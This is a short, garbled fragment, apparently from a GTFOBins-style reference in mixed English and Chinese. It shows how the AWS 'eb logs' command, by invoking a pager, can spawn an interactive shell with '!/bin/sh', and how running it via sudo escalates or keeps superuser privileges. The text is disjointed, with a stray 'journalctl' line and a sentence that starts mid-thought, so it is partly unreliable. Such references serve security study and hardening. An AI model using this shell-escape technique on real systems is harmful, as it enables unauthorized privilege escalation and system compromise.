journalctl
, other functions may apply. For this to work the target must be connected to AWS instance via EB-CLI. 用来生成一个交互式的系统shell。
eb logs
!/bin/sh
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo eb logs
!/bin/sh